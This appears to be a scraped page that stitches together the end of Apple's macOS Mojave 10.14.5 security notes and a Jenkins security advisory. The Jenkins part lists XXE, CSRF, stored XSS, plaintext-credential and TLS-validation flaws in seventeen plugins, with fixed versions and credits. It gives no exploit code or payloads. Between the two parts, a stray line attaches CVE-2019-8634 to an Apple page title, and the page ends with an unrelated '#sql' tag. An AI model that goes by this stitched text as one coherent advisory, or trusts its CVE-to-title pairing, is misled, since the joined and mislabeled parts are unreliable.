CVE-2019-8611: Samuel Groß of Google Project Zero

CVE-2019-8615: G. Geshev from MWR Labs working with Trend Micro's Zero Day Initiative

CVE-2019-8619: Wen Xu of SSLab at Georgia Tech and Hanqing Zhao of Chaitin Security Research Lab

CVE-2019-8622: Samuel Groß of Google Project Zero

CVE-2019-8623: Samuel Groß of Google Project Zero

CVE-2019-8628: Wen Xu of SSLab at Georgia Tech and Hanqing Zhao of Chaitin Security Research Lab

**WebKit**

Available for: macOS Mojave 10.14.4

Impact: Processing maliciously crafted web content may result in the disclosure of process memory

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team

**Wi-Fi**

Available for: macOS Mojave 10.14.4

Impact: An attacker in a privileged network position can modify driver state

Description: A logic issue was addressed with improved state management.

CVE-2019-8612: Milan Stute of Secure Mobile Networking Lab at Technische Universität Darmstadt

Entry added May 14, 2019

CVE-2019-8634: About the security content of macOS Mojave 10.14.5, Security Update 2019-003 High Sierra, Security Update 2019-003 Sierra

Jenkins Mission Control Plugin 0.9.16 and earlier does not escape job display names and build names shown on its view, resulting in a stored XSS vulnerability exploitable by attackers able to change these properties.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Alauda DevOps Pipeline Plugin
*   Alauda Kubernetes Suport Plugin
*   Build Failure Analyzer Plugin
*   buildgraph-view Plugin
*   Gerrit Trigger Plugin
*   Mantis Plugin
*   Maven Release Plug-in Plugin
*   Mission Control Plugin
*   Pipeline Aggregator View Plugin
*   RapidDeploy Plugin
*   Redgate SQL Change Automation Plugin
*   Rundeck Plugin
*   SCTMExecutor Plugin
*   Spira Importer Plugin
*   Team Concert Plugin
*   WebSphere Deployer Plugin
*   Weibo Plugin

**Descriptions****XXE vulnerability in Maven Release Plug-in Plugin**

**SECURITY-1681 / CVE-2019-16549 (XXE), CVE-2019-16550 (CSRF)**  
**Severity (CVSS):** High  
**Affected plugin: m2release**  
**Description:**

Maven Release Plug-in Plugin retrieves XML from Nexus repository manager APIs. Maven Release Plug-in Plugin 0.16.1 and earlier does not configure the XML parser to prevent XML external entity (XXE) attacks. While Jenkins users without Overall/Administer permission are not allowed to configure a custom Nexus URL, this could still be exploited via man-in-the-middle attacks, especially if it’s not an HTTPS URL.

Additionally, a connection test form validation method does not require POST requests, resulting in a cross-site request forgery vulnerability. Combined, these two vulnerabilities allow attackers to have Jenkins parse crafted XML documents that use external entities for extraction of secrets from the Jenkins controller, server-side request forgery, or denial-of-service attacks.

Maven Release Plug-in Plugin 0.16.2 configures its XML parser to prevent XML external entity (XXE) attacks. It also now requires that requests to the connection test form validation method are done via POST, which protects from cross-site request forgery attacks.

**CSRF vulnerability and missing permission checks in Gerrit Trigger Plugin**

**SECURITY-1527 / CVE-2019-16551 (CSRF), CVE-2019-16552 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: gerrit-trigger**  
**Description:**

Gerrit Trigger Plugin 2.30.1 and earlier does not perform permission checks in methods performing form validation. This allows users with Overall/Read access to perform connection tests, connecting to an HTTP URL or SSH server using attacker-specified credentials, or determine whether files with an attacker-specified path exist on the Jenkins controller file system.

Additionally, these form validation methods do not require POST requests, resulting in a CSRF vulnerability.

Gerrit Trigger Plugin 2.30.2 requires POST requests and Overall/Administer permission for the affected form validation methods.

**CSRF vulnerability and missing permission check in Build Failure Analyzer Plugin allow ReDoS**

**SECURITY-1651 / CVE-2019-16553 (CSRF), CVE-2019-16554 (missing permission check), CVE-2019-16555 (resource consumption)**  
**Severity (CVSS):** Medium  
**Affected plugin: build-failure-analyzer**  
**Description:**

Build Failure Analyzer Plugin 1.24.1 and earlier does not perform a permission check in a method performing form validation. This allows users with Overall/Read access to supply a computationally expensive regular expression that will hang the request handling thread.

Additionally, this form validation method does not require POST requests, resulting in a CSRF vulnerability.

Build Failure Analyzer Plugin 1.24.2 requires POST requests and implements a permission check for the affected form validation methods so that only authorized users are able to submit regular expressions.

Additionally, the regular expression is implemented in an interruptible way, so that unintentionally expensive regular expression processing can be interrupted.

**Stored XSS vulnerability in Pipeline Aggregator View Plugin**

**SECURITY-1593 / CVE-2019-16564**  
**Severity (CVSS):** Medium  
**Affected plugin: pipeline-aggregator-view**  
**Description:**

Pipeline Aggregator View Plugin 1.8 and earlier does not escape the information shown on the view it provides, such as stage names or job names.

This results in a stored cross-site scripting vulnerability exploitable by users able to configure jobs, define pipeline stages, or otherwise affect the information shown by Pipeline Aggregator View Plugin.

Pipeline Aggregator View Plugin 1.9 escapes user-controlled information on the view it provides.

**Rundeck Plugin stored credentials in plain text**

**SECURITY-1636 / CVE-2019-16556**  
**Severity (CVSS):** Medium  
**Affected plugin: rundeck**  
**Description:**

Rundeck Plugin 3.6.5 and earlier stores credentials as part of its global configuration file org.jenkinsci.plugins.rundeck.RundeckNotifier.xml and job config.xml files on the Jenkins controller. These URLs could be viewed by users with Extended Read permission (in the case of job config.xml files) or access to the Jenkins controller file system.

Rundeck Plugin 3.6.6 stores credentials in its configuration encrypted once global and/or job configurations are saved again.

**Redgate SQL Change Automation Plugin stores credentials in plain text**

**SECURITY-1598 / CVE-2019-16557**  
**Severity (CVSS):** Medium  
**Affected plugin: redgate-sql-ci**  
**Description:**

Redgate SQL Change Automation Plugin 2.0.3 and earlier stores credentials unencrypted in job config.xml files on the Jenkins controller as part of its build step configuration. These credentials can be viewed by users with Extended Read permission or access to the Jenkins controller file system.

Redgate SQL Change Automation Plugin 2.0.4 stores its credentials encrypted once job configurations are saved again.

**SSL/TLS certificate validation globally and unconditionally disabled by Spira Importer Plugin**

**SECURITY-1580 / CVE-2019-16558**  
**Severity (CVSS):** Medium  
**Affected plugin: inflectra-spira-integration**  
**Description:**

Spira Importer Plugin 3.2.3 and earlier unconditionally disables SSL/TLS certificate validation for the entire Jenkins controller JVM.

Spira Importer Plugin 3.2.4 no longer disables SSL/TLS certificate validation.

**CSRF vulnerability and missing permission checks in WebSphere Deployer Plugin**

**SECURITY-1371 / CVE-2019-16559 (permission check), CVE-2019-16560 (CSRF)**  
**Severity (CVSS):** Medium  
**Affected plugin: websphere-deployer**  
**Description:**

WebSphere Deployer Plugin 1.6.1 and earlier does not perform permission checks in methods performing form validation. This allows users with Overall/Read access to perform connection tests, determine whether files with an attacker-specified path exist on the Jenkins controller file system, and obtain limited information about the Jenkins and plugin configuration based on the responses. The latter include the ability to set plugin configuration options.

Additionally, these form validation methods do not require POST requests, resulting in a CSRF vulnerability.

As of publication of this advisory, there is no fix.

**SSL/TLS certificate validation globally and unconditionally disabled by WebSphere Deployer Plugin**

**SECURITY-1581 / CVE-2019-16561**  
**Severity (CVSS):** Medium  
**Affected plugin: websphere-deployer**  
**Description:**

WebSphere Deployer Plugin 1.6.1 and earlier allows users with Overall/Read access to disable SSL/TLS certificate and hostname validation for the entire Jenkins controller JVM, or specify a new Java keystore from a file stored on the Jenkins controller filesystem.

As of publication of this advisory, there is no fix.

**Stored XSS vulnerability in buildgraph-view Plugin**

**SECURITY-1591 / CVE-2019-16562**  
**Severity (CVSS):** Medium  
**Affected plugin: buildgraph-view**  
**Description:**

buildgraph-view Plugin 1.8 and earlier does not escape the description of builds shown in its view.

This results in a stored cross-site scripting vulnerability that can be exploited by users able to change the build description.

As of publication of this advisory, there is no fix.

**Stored XSS vulnerability in Mission Control Plugin**

**SECURITY-1592 / CVE-2019-16563**  
**Severity (CVSS):** Medium  
**Affected plugin: mission-control-view**  
**Description:**

Mission Control Plugin 0.9.16 and earlier does not escape job display names and build names in the view it provides.

This results in a stored cross-site scripting vulnerability that can be exploited by users able to change these properties.

As of publication of this advisory, there is no fix.

**CSRF vulnerability and missing permission checks in Team Concert Plugin allows capturing credentials**

**SECURITY-1605 (1) / CVE-2019-16565 (CSRF), CVE-2019-16566 (missing permission check)**  
**Severity (CVSS):** High  
**Affected plugin: teamconcert**  
**Description:**

Team Concert Plugin 1.3.0 and earlier does not perform permission checks on a method implementing form validation. This allows users with Overall/Read access to Jenkins to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, the form validation method does not require POST requests, resulting in a CSRF vulnerability.

As of publication of this advisory, there is no fix.

**Users with Overall/Read access can enumerate credential IDs in Team Concert Plugin**

**SECURITY-1605 (2) / CVE-2019-16567**  
**Severity (CVSS):** Medium  
**Affected plugin: teamconcert**  
**Description:**

Team Concert Plugin 1.3.0 and earlier provides a list of applicable credential IDs to allow users configuring the plugin to select the one to use.

This functionality does not correctly check permissions, allowing any user with Overall/Read permission to get a list of valid credentials IDs. Those can be used as part of an attack to capture the credentials using another vulnerability.

As of publication of this advisory, there is no fix.

**SCTMExecutor Plugin stores credentials in plain text**

**SECURITY-1521 / CVE-2019-16568**  
**Severity (CVSS):** Low  
**Affected plugin: SCTMExecutor**  
**Description:**

SCTMExecutor Plugin 2.2 and earlier stores Silk Central credentials in the global Jenkins configuration and in job config.xml files.

While these credentials are stored encrypted on disk, they are transmitted in plain text as part of the configuration form. This can result in exposure of these credentials through browser extensions, cross-site scripting vulnerabilities, and similar situations.

As of publication of this advisory, there is no fix.

**CSRF vulnerability in Mantis Plugin**

**SECURITY-1603 / CVE-2019-16569**  
**Severity (CVSS):** Medium  
**Affected plugin: mantis**  
**Description:**

Mantis Plugin 0.26 and earlier does not require POST requests on a connection test method, resulting in a CSRF vulnerability. This allows attackers to have Jenkins connect to Mantis-related paths on an attacker-specified web server using attacker-specified credentials.

As of publication of this advisory, there is no fix.

**CSRF vulnerability and missing permission checks in RapidDeploy Plugin allow SSRF**

**SECURITY-1604 / CVE-2019-16570 (CSRF), CVE-2019-16571 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: rapiddeploy-jenkins**  
**Description:**

RapidDeploy Plugin 4.1 and earlier does not perform a permission check on form validation methods. This allows users with Overall/Read access to Jenkins to connect to RapidDeploy-related paths on an attacker-specified web server.

Additionally, these form validation methods do not require POST requests, resulting in a CSRF vulnerability.

As of publication of this advisory, there is no fix.

**Weibo Plugin stores credentials in plain text**

**SECURITY-1597 / CVE-2019-16572**  
**Severity (CVSS):** Low  
**Affected plugin: weibo**  
**Description:**

Weibo Plugin 1.0.1 and earlier stores a credential unencrypted in its global configuration file org.jenkinsci.plugins.weibo.WeiboNotifier.xml on the Jenkins controller. This credential can be viewed by users with access to the Jenkins controller file system.

As of publication of this advisory, there is no fix.

**CSRF vulnerability and missing permission checks in Alauda DevOps Pipeline Plugin allows capturing credentials**

**SECURITY-1600 / CVE-2019-16573 (CSRF), CVE-2019-16574 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: alauda-devops-pipeline**  
**Description:**

Alauda DevOps Pipeline Plugin 2.3.2 and earlier does not perform permission checks on a method implementing form validation. This allows users with Overall/Read access to Jenkins to connect to Kubernetes-related paths on an attacker-specified web server using attacker-specified credentials IDs obtained through another method, capturing token credentials managed by Alauda DevOps Pipeline Plugin.

Additionally, the form validation method does not require POST requests, resulting in a CSRF vulnerability.

As of publication of this advisory, there is no fix.

**CSRF vulnerability in Alauda Kubernetes Suport Plugin**

**SECURITY-1602 / CVE-2019-16575 (CSRF), CVE-2019-16576 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: alauda-kubernetes-support**  
**Description:**

Alauda Kubernetes Suport Plugin 2.3.0 and earlier does not require POST requests on a connection test method, resulting in a CSRF vulnerability. This allows attackers to have Jenkins connect to Kubernetes-related paths on an attacker-specified web server using attacker-specified credentials IDs obtained through another method, capturing 'Secret Text' credentials stored in Jenkins.

Additionally, if no credentials ID is specified, the connection uses the default Kubernetes token from /var/run/secrets/kubernetes.io/serviceaccount/token.

As of publication of this advisory, there is no fix.

**Severity**

*   SECURITY-1371: Medium
*   SECURITY-1521: Low
*   SECURITY-1527: Medium
*   SECURITY-1580: Medium
*   SECURITY-1581: Medium
*   SECURITY-1591: Medium
*   SECURITY-1592: Medium
*   SECURITY-1593: Medium
*   SECURITY-1597: Low
*   SECURITY-1598: Medium
*   SECURITY-1600: Medium
*   SECURITY-1602: Medium
*   SECURITY-1603: Medium
*   SECURITY-1604: Medium
*   SECURITY-1605 (1): High
*   SECURITY-1605 (2): Medium
*   SECURITY-1636: Medium
*   SECURITY-1651: Medium
*   SECURITY-1681: High

**Affected Versions**

*   **Alauda DevOps Pipeline Plugin** up to and including 2.3.2
*   **Alauda Kubernetes Suport Plugin** up to and including 2.3.0
*   **Build Failure Analyzer Plugin** up to and including 1.24.1
*   **buildgraph-view Plugin** up to and including 1.8
*   **Gerrit Trigger Plugin** up to and including 2.30.1
*   **Mantis Plugin** up to and including 0.26
*   **Maven Release Plug-in Plugin** up to and including 0.16.1
*   **Mission Control Plugin** up to and including 0.9.16
*   **Pipeline Aggregator View Plugin** up to and including 1.8
*   **RapidDeploy Plugin** up to and including 4.1
*   **Redgate SQL Change Automation Plugin** up to and including 2.0.3
*   **Rundeck Plugin** up to and including 3.6.5
*   **SCTMExecutor Plugin** up to and including 2.2
*   **Spira Importer Plugin** up to and including 3.2.3
*   **Team Concert Plugin** up to and including 1.3.0
*   **WebSphere Deployer Plugin** up to and including 1.6.1
*   **Weibo Plugin** up to and including 1.0.1

**Fix**

*   **Build Failure Analyzer Plugin** should be updated to version 1.24.2
*   **Gerrit Trigger Plugin** should be updated to version 2.30.2
*   **Maven Release Plug-in Plugin** should be updated to version 0.16.2
*   **Pipeline Aggregator View Plugin** should be updated to version 1.9
*   **Redgate SQL Change Automation Plugin** should be updated to version 2.0.4
*   **Rundeck Plugin** should be updated to version 3.6.6
*   **Spira Importer Plugin** should be updated to version 3.2.4

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Alauda DevOps Pipeline Plugin
*   Alauda Kubernetes Suport Plugin
*   buildgraph-view Plugin
*   Mantis Plugin
*   Mission Control Plugin
*   RapidDeploy Plugin
*   SCTMExecutor Plugin
*   Team Concert Plugin
*   WebSphere Deployer Plugin
*   Weibo Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Alex Earl (@alexcearl), Marvell Semiconductor, Inc.** for SECURITY-1527
*   **Cheng Gao, Alibaba Cloud Intelligence Security Team, https://www.aliyun.com/** for SECURITY-1681
*   **Daniel Beck, CloudBees, Inc.** for SECURITY-1371, SECURITY-1580, SECURITY-1581, SECURITY-1651
*   **James Holderness, IB Boost** for SECURITY-1521
*   **Viktor Gazdag NCC Group** for SECURITY-1591, SECURITY-1592, SECURITY-1593, SECURITY-1597, SECURITY-1598, SECURITY-1600, SECURITY-1602, SECURITY-1603, SECURITY-1604, SECURITY-1605 (1), SECURITY-1605 (2)
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-1636

Tag

#sql